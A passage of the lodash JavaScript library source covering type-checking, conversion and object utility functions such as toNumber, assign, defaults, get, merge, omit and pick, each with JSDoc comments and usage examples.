* @returns {boolean} Returns `true` if `value` is a weak map, else `false`.
* @example
*
* _.isWeakMap(new WeakMap);
* // => true
*
* _.isWeakMap(new Map);
* // => false
*/
function isWeakMap(value) {
return isObjectLike(value) && getTag(value) == weakMapTag;
}
/**
* Checks if `value` is classified as a `WeakSet` object.
*
* @static
* @memberOf _
* @since 4.3.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a weak set, else `false`.
* @example
*
* _.isWeakSet(new WeakSet);
* // => true
*
* _.isWeakSet(new Set);
* // => false
*/
function isWeakSet(value) {
return isObjectLike(value) && baseGetTag(value) == weakSetTag;
}
/**
* Checks if `value` is less than `other`.
*
* @static
* @memberOf _
* @since 3.9.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if `value` is less than `other`,
* else `false`.
* @see _.gt
* @example
*
* _.lt(1, 3);
* // => true
*
* _.lt(3, 3);
* // => false
*
* _.lt(3, 1);
* // => false
*/
var lt = createRelationalOperation(baseLt);
/**
* Checks if `value` is less than or equal to `other`.
*
* @static
* @memberOf _
* @since 3.9.0
* @category Lang
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if `value` is less than or equal to
* `other`, else `false`.
* @see _.gte
* @example
*
* _.lte(1, 3);
* // => true
*
* _.lte(3, 3);
* // => true
*
* _.lte(3, 1);
* // => false
*/
var lte = createRelationalOperation(function(value, other) {
return value <= other;
});
/**
* Converts `value` to an array.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Lang
* @param {*} value The value to convert.
* @returns {Array} Returns the converted array.
* @example
*
* _.toArray({ 'a': 1, 'b': 2 });
* // => [1, 2]
*
* _.toArray('abc');
* // => ['a', 'b', 'c']
*
* _.toArray(1);
* // => []
*
* _.toArray(null);
* // => []
*/
function toArray(value) {
if (!value) {
return [];
}
if (isArrayLike(value)) {
return isString(value) ? stringToArray(value) : copyArray(value);
}
if (symIterator && value[symIterator]) {
return iteratorToArray(value[symIterator]());
}
var tag = getTag(value),
func = tag == mapTag ? mapToArray : (tag == setTag ? setToArray : values);
return func(value);
}
/**
* Converts `value` to a finite number.
*
* @static
* @memberOf _
* @since 4.12.0
* @category Lang
* @param {*} value The value to convert.
* @returns {number} Returns the converted number.
* @example
*
* _.toFinite(3.2);
* // => 3.2
*
* _.toFinite(Number.MIN_VALUE);
* // => 5e-324
*
* _.toFinite(Infinity);
* // => 1.7976931348623157e+308
*
* _.toFinite('3.2');
* // => 3.2
*/
function toFinite(value) {
if (!value) {
return value === 0 ? value : 0;
}
value = toNumber(value);
if (value === INFINITY || value === -INFINITY) {
var sign = (value < 0 ? -1 : 1);
return sign * MAX_INTEGER;
}
return value === value ? value : 0;
}
/**
* Converts `value` to an integer.
*
* **Note:** This method is loosely based on
* [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to convert.
* @returns {number} Returns the converted integer.
* @example
*
* _.toInteger(3.2);
* // => 3
*
* _.toInteger(Number.MIN_VALUE);
* // => 0
*
* _.toInteger(Infinity);
* // => 1.7976931348623157e+308
*
* _.toInteger('3.2');
* // => 3
*/
function toInteger(value) {
var result = toFinite(value),
remainder = result % 1;
return result === result ? (remainder ? result - remainder : result) : 0;
}
/**
* Converts `value` to an integer suitable for use as the length of an
* array-like object.
*
* **Note:** This method is based on
* [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to convert.
* @returns {number} Returns the converted integer.
* @example
*
* _.toLength(3.2);
* // => 3
*
* _.toLength(Number.MIN_VALUE);
* // => 0
*
* _.toLength(Infinity);
* // => 4294967295
*
* _.toLength('3.2');
* // => 3
*/
function toLength(value) {
return value ? baseClamp(toInteger(value), 0, MAX_ARRAY_LENGTH) : 0;
}
/**
* Converts `value` to a number.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to process.
* @returns {number} Returns the number.
* @example
*
* _.toNumber(3.2);
* // => 3.2
*
* _.toNumber(Number.MIN_VALUE);
* // => 5e-324
*
* _.toNumber(Infinity);
* // => Infinity
*
* _.toNumber('3.2');
* // => 3.2
*/
function toNumber(value) {
if (typeof value == 'number') {
return value;
}
if (isSymbol(value)) {
return NAN;
}
if (isObject(value)) {
var other = typeof value.valueOf == 'function' ? value.valueOf() : value;
value = isObject(other) ? (other + '') : other;
}
if (typeof value != 'string') {
return value === 0 ? value : +value;
}
value = baseTrim(value);
var isBinary = reIsBinary.test(value);
return (isBinary || reIsOctal.test(value))
? freeParseInt(value.slice(2), isBinary ? 2 : 8)
: (reIsBadHex.test(value) ? NAN : +value);
}
/**
* Converts `value` to a plain object flattening inherited enumerable string
* keyed properties of `value` to own properties of the plain object.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Lang
* @param {*} value The value to convert.
* @returns {Object} Returns the converted plain object.
* @example
*
* function Foo() {
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.assign({ 'a': 1 }, new Foo);
* // => { 'a': 1, 'b': 2 }
*
* _.assign({ 'a': 1 }, _.toPlainObject(new Foo));
* // => { 'a': 1, 'b': 2, 'c': 3 }
*/
function toPlainObject(value) {
return copyObject(value, keysIn(value));
}
/**
* Converts `value` to a safe integer. A safe integer can be compared and
* represented correctly.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to convert.
* @returns {number} Returns the converted integer.
* @example
*
* _.toSafeInteger(3.2);
* // => 3
*
* _.toSafeInteger(Number.MIN_VALUE);
* // => 0
*
* _.toSafeInteger(Infinity);
* // => 9007199254740991
*
* _.toSafeInteger('3.2');
* // => 3
*/
function toSafeInteger(value) {
return value
? baseClamp(toInteger(value), -MAX_SAFE_INTEGER, MAX_SAFE_INTEGER)
: (value === 0 ? value : 0);
}
/**
* Converts `value` to a string. An empty string is returned for `null`
* and `undefined` values. The sign of `-0` is preserved.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to convert.
* @returns {string} Returns the converted string.
* @example
*
* _.toString(null);
* // => ''
*
* _.toString(-0);
* // => '-0'
*
* _.toString([1, 2, 3]);
* // => '1,2,3'
*/
function toString(value) {
return value == null ? '' : baseToString(value);
}
/*------------------------------------------------------------------------*/
/**
* Assigns own enumerable string keyed properties of source objects to the
* destination object. Source objects are applied from left to right.
* Subsequent sources overwrite property assignments of previous sources.
*
* **Note:** This method mutates `object` and is loosely based on
* [`Object.assign`](https://mdn.io/Object/assign).
*
* @static
* @memberOf _
* @since 0.10.0
* @category Object
* @param {Object} object The destination object.
* @param {...Object} [sources] The source objects.
* @returns {Object} Returns `object`.
* @see _.assignIn
* @example
*
* function Foo() {
* this.a = 1;
* }
*
* function Bar() {
* this.c = 3;
* }
*
* Foo.prototype.b = 2;
* Bar.prototype.d = 4;
*
* _.assign({ 'a': 0 }, new Foo, new Bar);
* // => { 'a': 1, 'c': 3 }
*/
var assign = createAssigner(function(object, source) {
if (isPrototype(source) || isArrayLike(source)) {
copyObject(source, keys(source), object);
return;
}
for (var key in source) {
if (hasOwnProperty.call(source, key)) {
assignValue(object, key, source[key]);
}
}
});
/**
* This method is like `_.assign` except that it iterates over own and
* inherited source properties.
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @alias extend
* @category Object
* @param {Object} object The destination object.
* @param {...Object} [sources] The source objects.
* @returns {Object} Returns `object`.
* @see _.assign
* @example
*
* function Foo() {
* this.a = 1;
* }
*
* function Bar() {
* this.c = 3;
* }
*
* Foo.prototype.b = 2;
* Bar.prototype.d = 4;
*
* _.assignIn({ 'a': 0 }, new Foo, new Bar);
* // => { 'a': 1, 'b': 2, 'c': 3, 'd': 4 }
*/
var assignIn = createAssigner(function(object, source) {
copyObject(source, keysIn(source), object);
});
/**
* This method is like `_.assignIn` except that it accepts `customizer`
* which is invoked to produce the assigned values. If `customizer` returns
* `undefined`, assignment is handled by the method instead. The `customizer`
* is invoked with five arguments: (objValue, srcValue, key, object, source).
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @alias extendWith
* @category Object
* @param {Object} object The destination object.
* @param {...Object} sources The source objects.
* @param {Function} [customizer] The function to customize assigned values.
* @returns {Object} Returns `object`.
* @see _.assignWith
* @example
*
* function customizer(objValue, srcValue) {
* return _.isUndefined(objValue) ? srcValue : objValue;
* }
*
* var defaults = _.partialRight(_.assignInWith, customizer);
*
* defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
* // => { 'a': 1, 'b': 2 }
*/
var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
/**
* This method is like `_.assign` except that it accepts `customizer`
* which is invoked to produce the assigned values. If `customizer` returns
* `undefined`, assignment is handled by the method instead. The `customizer`
* is invoked with five arguments: (objValue, srcValue, key, object, source).
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The destination object.
* @param {...Object} sources The source objects.
* @param {Function} [customizer] The function to customize assigned values.
* @returns {Object} Returns `object`.
* @see _.assignInWith
* @example
*
* function customizer(objValue, srcValue) {
* return _.isUndefined(objValue) ? srcValue : objValue;
* }
*
* var defaults = _.partialRight(_.assignWith, customizer);
*
* defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
* // => { 'a': 1, 'b': 2 }
*/
var assignWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keys(source), object, customizer);
});
/**
* Creates an array of values corresponding to `paths` of `object`.
*
* @static
* @memberOf _
* @since 1.0.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {...(string|string[])} [paths] The property paths to pick.
* @returns {Array} Returns the picked values.
* @example
*
* var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
*
* _.at(object, ['a[0].b.c', 'a[1]']);
* // => [3, 4]
*/
var at = flatRest(baseAt);
/**
* Creates an object that inherits from the `prototype` object. If a
* `properties` object is given, its own enumerable string keyed properties
* are assigned to the created object.
*
* @static
* @memberOf _
* @since 2.3.0
* @category Object
* @param {Object} prototype The object to inherit from.
* @param {Object} [properties] The properties to assign to the object.
* @returns {Object} Returns the new object.
* @example
*
* function Shape() {
* this.x = 0;
* this.y = 0;
* }
*
* function Circle() {
* Shape.call(this);
* }
*
* Circle.prototype = _.create(Shape.prototype, {
* 'constructor': Circle
* });
*
* var circle = new Circle;
* circle instanceof Circle;
* // => true
*
* circle instanceof Shape;
* // => true
*/
function create(prototype, properties) {
var result = baseCreate(prototype);
return properties == null ? result : baseAssign(result, properties);
}
/**
* Assigns own and inherited enumerable string keyed properties of source
* objects to the destination object for all destination properties that
* resolve to `undefined`. Source objects are applied from left to right.
* Once a property is set, additional values of the same property are ignored.
*
* **Note:** This method mutates `object`.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The destination object.
* @param {...Object} [sources] The source objects.
* @returns {Object} Returns `object`.
* @see _.defaultsDeep
* @example
*
* _.defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
* // => { 'a': 1, 'b': 2 }
*/
var defaults = baseRest(function(object, sources) {
object = Object(object);
var index = -1;
var length = sources.length;
var guard = length > 2 ? sources[2] : undefined;
if (guard && isIterateeCall(sources[0], sources[1], guard)) {
length = 1;
}
while (++index < length) {
var source = sources[index];
var props = keysIn(source);
var propsIndex = -1;
var propsLength = props.length;
while (++propsIndex < propsLength) {
var key = props[propsIndex];
var value = object[key];
if (value === undefined ||
(eq(value, objectProto[key]) && !hasOwnProperty.call(object, key))) {
object[key] = source[key];
}
}
}
return object;
});
/**
* This method is like `_.defaults` except that it recursively assigns
* default properties.
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 3.10.0
* @category Object
* @param {Object} object The destination object.
* @param {...Object} [sources] The source objects.
* @returns {Object} Returns `object`.
* @see _.defaults
* @example
*
* _.defaultsDeep({ 'a': { 'b': 2 } }, { 'a': { 'b': 1, 'c': 3 } });
* // => { 'a': { 'b': 2, 'c': 3 } }
*/
var defaultsDeep = baseRest(function(args) {
args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);
});
/**
* This method is like `_.find` except that it returns the key of the first
* element `predicate` returns truthy for instead of the element itself.
*
* @static
* @memberOf _
* @since 1.1.0
* @category Object
* @param {Object} object The object to inspect.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {string|undefined} Returns the key of the matched element,
* else `undefined`.
* @example
*
* var users = {
* 'barney': { 'age': 36, 'active': true },
* 'fred': { 'age': 40, 'active': false },
* 'pebbles': { 'age': 1, 'active': true }
* };
*
* _.findKey(users, function(o) { return o.age < 40; });
* // => 'barney' (iteration order is not guaranteed)
*
* // The `_.matches` iteratee shorthand.
* _.findKey(users, { 'age': 1, 'active': true });
* // => 'pebbles'
*
* // The `_.matchesProperty` iteratee shorthand.
* _.findKey(users, ['active', false]);
* // => 'fred'
*
* // The `_.property` iteratee shorthand.
* _.findKey(users, 'active');
* // => 'barney'
*/
function findKey(object, predicate) {
return baseFindKey(object, getIteratee(predicate, 3), baseForOwn);
}
/**
* This method is like `_.findKey` except that it iterates over elements of
* a collection in the opposite order.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Object
* @param {Object} object The object to inspect.
* @param {Function} [predicate=_.identity] The function invoked per iteration.
* @returns {string|undefined} Returns the key of the matched element,
* else `undefined`.
* @example
*
* var users = {
* 'barney': { 'age': 36, 'active': true },
* 'fred': { 'age': 40, 'active': false },
* 'pebbles': { 'age': 1, 'active': true }
* };
*
* _.findLastKey(users, function(o) { return o.age < 40; });
* // => returns 'pebbles' assuming `_.findKey` returns 'barney'
*
* // The `_.matches` iteratee shorthand.
* _.findLastKey(users, { 'age': 36, 'active': true });
* // => 'barney'
*
* // The `_.matchesProperty` iteratee shorthand.
* _.findLastKey(users, ['active', false]);
* // => 'fred'
*
* // The `_.property` iteratee shorthand.
* _.findLastKey(users, 'active');
* // => 'pebbles'
*/
function findLastKey(object, predicate) {
return baseFindKey(object, getIteratee(predicate, 3), baseForOwnRight);
}
/**
* Iterates over own and inherited enumerable string keyed properties of an
* object and invokes `iteratee` for each property. The iteratee is invoked
* with three arguments: (value, key, object). Iteratee functions may exit
* iteration early by explicitly returning `false`.
*
* @static
* @memberOf _
* @since 0.3.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Object} Returns `object`.
* @see _.forInRight
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.forIn(new Foo, function(value, key) {
* console.log(key);
* });
* // => Logs 'a', 'b', then 'c' (iteration order is not guaranteed).
*/
function forIn(object, iteratee) {
return object == null
? object
: baseFor(object, getIteratee(iteratee, 3), keysIn);
}
/**
* This method is like `_.forIn` except that it iterates over properties of
* `object` in the opposite order.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Object} Returns `object`.
* @see _.forIn
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.forInRight(new Foo, function(value, key) {
* console.log(key);
* });
* // => Logs 'c', 'b', then 'a' assuming `_.forIn` logs 'a', 'b', then 'c'.
*/
function forInRight(object, iteratee) {
return object == null
? object
: baseForRight(object, getIteratee(iteratee, 3), keysIn);
}
/**
* Iterates over own enumerable string keyed properties of an object and
* invokes `iteratee` for each property. The iteratee is invoked with three
* arguments: (value, key, object). Iteratee functions may exit iteration
* early by explicitly returning `false`.
*
* @static
* @memberOf _
* @since 0.3.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Object} Returns `object`.
* @see _.forOwnRight
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.forOwn(new Foo, function(value, key) {
* console.log(key);
* });
* // => Logs 'a' then 'b' (iteration order is not guaranteed).
*/
function forOwn(object, iteratee) {
return object && baseForOwn(object, getIteratee(iteratee, 3));
}
/**
* This method is like `_.forOwn` except that it iterates over properties of
* `object` in the opposite order.
*
* @static
* @memberOf _
* @since 2.0.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Object} Returns `object`.
* @see _.forOwn
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.forOwnRight(new Foo, function(value, key) {
* console.log(key);
* });
* // => Logs 'b' then 'a' assuming `_.forOwn` logs 'a' then 'b'.
*/
function forOwnRight(object, iteratee) {
return object && baseForOwnRight(object, getIteratee(iteratee, 3));
}
/**
* Creates an array of function property names from own enumerable properties
* of `object`.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The object to inspect.
* @returns {Array} Returns the function names.
* @see _.functionsIn
* @example
*
* function Foo() {
* this.a = _.constant('a');
* this.b = _.constant('b');
* }
*
* Foo.prototype.c = _.constant('c');
*
* _.functions(new Foo);
* // => ['a', 'b']
*/
function functions(object) {
return object == null ? [] : baseFunctions(object, keys(object));
}
/**
* Creates an array of function property names from own and inherited
* enumerable properties of `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The object to inspect.
* @returns {Array} Returns the function names.
* @see _.functions
* @example
*
* function Foo() {
* this.a = _.constant('a');
* this.b = _.constant('b');
* }
*
* Foo.prototype.c = _.constant('c');
*
* _.functionsIn(new Foo);
* // => ['a', 'b', 'c']
*/
function functionsIn(object) {
return object == null ? [] : baseFunctions(object, keysIn(object));
}
/**
* Gets the value at `path` of `object`. If the resolved value is
* `undefined`, the `defaultValue` is returned in its place.
*
* @static
* @memberOf _
* @since 3.7.0
* @category Object
* @param {Object} object The object to query.
* @param {Array|string} path The path of the property to get.
* @param {*} [defaultValue] The value returned for `undefined` resolved values.
* @returns {*} Returns the resolved value.
* @example
*
* var object = { 'a': [{ 'b': { 'c': 3 } }] };
*
* _.get(object, 'a[0].b.c');
* // => 3
*
* _.get(object, ['a', '0', 'b', 'c']);
* // => 3
*
* _.get(object, 'a.b.c', 'default');
* // => 'default'
*/
function get(object, path, defaultValue) {
var result = object == null ? undefined : baseGet(object, path);
return result === undefined ? defaultValue : result;
}
/**
* Checks if `path` is a direct property of `object`.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The object to query.
* @param {Array|string} path The path to check.
* @returns {boolean} Returns `true` if `path` exists, else `false`.
* @example
*
* var object = { 'a': { 'b': 2 } };
* var other = _.create({ 'a': _.create({ 'b': 2 }) });
*
* _.has(object, 'a');
* // => true
*
* _.has(object, 'a.b');
* // => true
*
* _.has(object, ['a', 'b']);
* // => true
*
* _.has(other, 'a');
* // => false
*/
function has(object, path) {
return object != null && hasPath(object, path, baseHas);
}
/**
* Checks if `path` is a direct or inherited property of `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The object to query.
* @param {Array|string} path The path to check.
* @returns {boolean} Returns `true` if `path` exists, else `false`.
* @example
*
* var object = _.create({ 'a': _.create({ 'b': 2 }) });
*
* _.hasIn(object, 'a');
* // => true
*
* _.hasIn(object, 'a.b');
* // => true
*
* _.hasIn(object, ['a', 'b']);
* // => true
*
* _.hasIn(object, 'b');
* // => false
*/
function hasIn(object, path) {
return object != null && hasPath(object, path, baseHasIn);
}
/**
* Creates an object composed of the inverted keys and values of `object`.
* If `object` contains duplicate values, subsequent values overwrite
* property assignments of previous values.
*
* @static
* @memberOf _
* @since 0.7.0
* @category Object
* @param {Object} object The object to invert.
* @returns {Object} Returns the new inverted object.
* @example
*
* var object = { 'a': 1, 'b': 2, 'c': 1 };
*
* _.invert(object);
* // => { '1': 'c', '2': 'b' }
*/
var invert = createInverter(function(result, value, key) {
if (value != null &&
typeof value.toString != 'function') {
value = nativeObjectToString.call(value);
}
result[value] = key;
}, constant(identity));
/**
* This method is like `_.invert` except that the inverted object is generated
* from the results of running each element of `object` thru `iteratee`. The
* corresponding inverted value of each inverted key is an array of keys
* responsible for generating the inverted value. The iteratee is invoked
* with one argument: (value).
*
* @static
* @memberOf _
* @since 4.1.0
* @category Object
* @param {Object} object The object to invert.
* @param {Function} [iteratee=_.identity] The iteratee invoked per element.
* @returns {Object} Returns the new inverted object.
* @example
*
* var object = { 'a': 1, 'b': 2, 'c': 1 };
*
* _.invertBy(object);
* // => { '1': ['a', 'c'], '2': ['b'] }
*
* _.invertBy(object, function(value) {
* return 'group' + value;
* });
* // => { 'group1': ['a', 'c'], 'group2': ['b'] }
*/
var invertBy = createInverter(function(result, value, key) {
if (value != null &&
typeof value.toString != 'function') {
value = nativeObjectToString.call(value);
}
if (hasOwnProperty.call(result, value)) {
result[value].push(key);
} else {
result[value] = [key];
}
}, getIteratee);
/**
* Invokes the method at `path` of `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The object to query.
* @param {Array|string} path The path of the method to invoke.
* @param {...*} [args] The arguments to invoke the method with.
* @returns {*} Returns the result of the invoked method.
* @example
*
* var object = { 'a': [{ 'b': { 'c': [1, 2, 3, 4] } }] };
*
* _.invoke(object, 'a[0].b.c.slice', 1, 3);
* // => [2, 3]
*/
var invoke = baseRest(baseInvoke);
/**
* Creates an array of the own enumerable property names of `object`.
*
* **Note:** Non-object values are coerced to objects. See the
* [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
* for more details.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.keys(new Foo);
* // => ['a', 'b'] (iteration order is not guaranteed)
*
* _.keys('hi');
* // => ['0', '1']
*/
function keys(object) {
return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);
}
/**
* Creates an array of the own and inherited enumerable property names of `object`.
*
* **Note:** Non-object values are coerced to objects.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Object
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
* @example
*
* function Foo() {
* this.a = 1;
* this.b = 2;
* }
*
* Foo.prototype.c = 3;
*
* _.keysIn(new Foo);
* // => ['a', 'b', 'c'] (iteration order is not guaranteed)
*/
function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}
/**
* The opposite of `_.mapValues`; this method creates an object with the
* same values as `object` and keys generated by running each own enumerable
* string keyed property of `object` thru `iteratee`. The iteratee is invoked
* with three arguments: (value, key, object).
*
* @static
* @memberOf _
* @since 3.8.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Object} Returns the new mapped object.
* @see _.mapValues
* @example
*
* _.mapKeys({ 'a': 1, 'b': 2 }, function(value, key) {
* return key + value;
* });
* // => { 'a1': 1, 'b2': 2 }
*/
function mapKeys(object, iteratee) {
var result = {};
iteratee = getIteratee(iteratee, 3);
baseForOwn(object, function(value, key, object) {
baseAssignValue(result, iteratee(value, key, object), value);
});
return result;
}
/**
* Creates an object with the same keys as `object` and values generated
* by running each own enumerable string keyed property of `object` thru
* `iteratee`. The iteratee is invoked with three arguments:
* (value, key, object).
*
* @static
* @memberOf _
* @since 2.4.0
* @category Object
* @param {Object} object The object to iterate over.
* @param {Function} [iteratee=_.identity] The function invoked per iteration.
* @returns {Object} Returns the new mapped object.
* @see _.mapKeys
* @example
*
* var users = {
* 'fred': { 'user': 'fred', 'age': 40 },
* 'pebbles': { 'user': 'pebbles', 'age': 1 }
* };
*
* _.mapValues(users, function(o) { return o.age; });
* // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
*
* // The `_.property` iteratee shorthand.
* _.mapValues(users, 'age');
* // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
*/
function mapValues(object, iteratee) {
var result = {};
iteratee = getIteratee(iteratee, 3);
baseForOwn(object, function(value, key, object) {
baseAssignValue(result, key, iteratee(value, key, object));
});
return result;
}
/**
* This method is like `_.assign` except that it recursively merges own and
* inherited enumerable string keyed properties of source objects into the
* destination object. Source properties that resolve to `undefined` are
* skipped if a destination value exists. Array and plain object properties
* are merged recursively. Other objects and value types are overridden by
* assignment. Source objects are applied from left to right. Subsequent
* sources overwrite property assignments of previous sources.
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 0.5.0
* @category Object
* @param {Object} object The destination object.
* @param {...Object} [sources] The source objects.
* @returns {Object} Returns `object`.
* @example
*
* var object = {
* 'a': [{ 'b': 2 }, { 'd': 4 }]
* };
*
* var other = {
* 'a': [{ 'c': 3 }, { 'e': 5 }]
* };
*
* _.merge(object, other);
* // => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
*/
var merge = createAssigner(function(object, source, srcIndex) {
baseMerge(object, source, srcIndex);
});
/**
* This method is like `_.merge` except that it accepts `customizer` which
* is invoked to produce the merged values of the destination and source
* properties. If `customizer` returns `undefined`, merging is handled by the
* method instead. The `customizer` is invoked with six arguments:
* (objValue, srcValue, key, object, source, stack).
*
* **Note:** This method mutates `object`.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The destination object.
* @param {...Object} sources The source objects.
* @param {Function} customizer The function to customize assigned values.
* @returns {Object} Returns `object`.
* @example
*
* function customizer(objValue, srcValue) {
* if (_.isArray(objValue)) {
* return objValue.concat(srcValue);
* }
* }
*
* var object = { 'a': [1], 'b': [2] };
* var other = { 'a': [3], 'b': [4] };
*
* _.mergeWith(object, other, customizer);
* // => { 'a': [1, 3], 'b': [2, 4] }
*/
var mergeWith = createAssigner(function(object, source, srcIndex, customizer) {
baseMerge(object, source, srcIndex, customizer);
});
/**
* The opposite of `_.pick`; this method creates an object composed of the
* own and inherited enumerable property paths of `object` that are not omitted.
*
* **Note:** This method is considerably slower than `_.pick`.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The source object.
* @param {...(string|string[])} [paths] The property paths to omit.
* @returns {Object} Returns the new object.
* @example
*
* var object = { 'a': 1, 'b': '2', 'c': 3 };
*
* _.omit(object, ['a', 'c']);
* // => { 'b': '2' }
*/
var omit = flatRest(function(object, paths) {
var result = {};
if (object == null) {
return result;
}
var isDeep = false;
paths = arrayMap(paths, function(path) {
path = castPath(path, object);
isDeep || (isDeep = path.length > 1);
return path;
});
copyObject(object, getAllKeysIn(object), result);
if (isDeep) {
result = baseClone(result, CLONE_DEEP_FLAG | CLONE_FLAT_FLAG | CLONE_SYMBOLS_FLAG, customOmitClone);
}
var length = paths.length;
while (length--) {
baseUnset(result, paths[length]);
}
return result;
});
/**
* The opposite of `_.pickBy`; this method creates an object composed of
* the own and inherited enumerable string keyed properties of `object` that
* `predicate` doesn't return truthy for. The predicate is invoked with two
* arguments: (value, key).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The source object.
* @param {Function} [predicate=_.identity] The function invoked per property.
* @returns {Object} Returns the new object.
* @example
*
* var object = { 'a': 1, 'b': '2', 'c': 3 };
*
* _.omitBy(object, _.isNumber);
* // => { 'b': '2' }
*/
function omitBy(object, predicate) {
return pickBy(object, negate(getIteratee(predicate)));
}
/**
* Creates an object composed of the picked `object` properties.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The source object.
* @param {...(string|string[])} [paths] The property paths to pick.
* @returns {Object} Returns the new object.
* @example
*
* var object = { 'a': 1, 'b': '2', 'c': 3 };
*
* _.pick(object, ['a', 'c']);
* // => { 'a': 1, 'c': 3 }
*/
var pick = flatRest(function(object, paths) {
return object == null ? {} : basePick(object, paths);
});
/**
* Creates an object composed of the `object` properties `predicate` returns
* truthy for. The predicate is invoked with two arguments: (value, key).
*
* @static
* @memberOf _
* @since 4.0.0
* @category Object
* @param {Object} object The source object.
* @param {Function} [predicate=_.identity] The function invoked per property.
* @returns {Object} Returns the new object.
* @example
*
* var object = { 'a': 1, 'b': '2', 'c': 3 };
*
* _.pickBy(object, _.isNumber);
* // => { 'a': 1, 'c': 3 }
*/
function pickBy(object, predicate) {
if (object == null) {
return {};
}
var props = arrayMap(getAllKeysIn(object), function(prop) {
return [prop];
});
predicate = getIteratee(predicate);
return basePickBy(object, props, function(value, path) {
return predicate(value, path[0]);
});
}
/**
* This method is like `_.get` except that if the resolved value is a
* function it's invoked with the `this` binding of its parent object and
* its result is returned.
*
* @static
* @since 0.1.0
* @memberOf _
* @category Object
* @param {Object} object The object to query.
* @param {Array|string} path The path of the property to resolve.
* @param {*} [defaultValue] The value returned for `undefined` resolved values.
* @returns {*} Returns the resolved value.
* @example
*
* var object = { 'a': [{ 'b': { 'c1': 3, 'c2': _.constant(4) } }] };
*
* _.result(object, 'a[0].b.c1');
* // => 3
*
* _.result(object, 'a[0].b.c2');
* // => 4
*
* _.result(object, 'a[0].b.c3', 'default');
* // => 'default'
*
* _.result(object, 'a[0].b.c3', _.constant('default'));
* // => 'default'
*/
function result(object, path, defaultValue) {
path = castPath(path, object);
var index = -1,
length = path.length;
// Ensure the loop is entered when path is empty.
if (!length) {
length = 1;
object = undefined;
}
while (++index < length) {
var value = object == null ? undefined : object[toKey(path[index])];
if (value === undefined) {
index = length;
value = defaultValue;
}
object = isFunction(value) ? value.call(object) : value;
}
return object;
}
/**
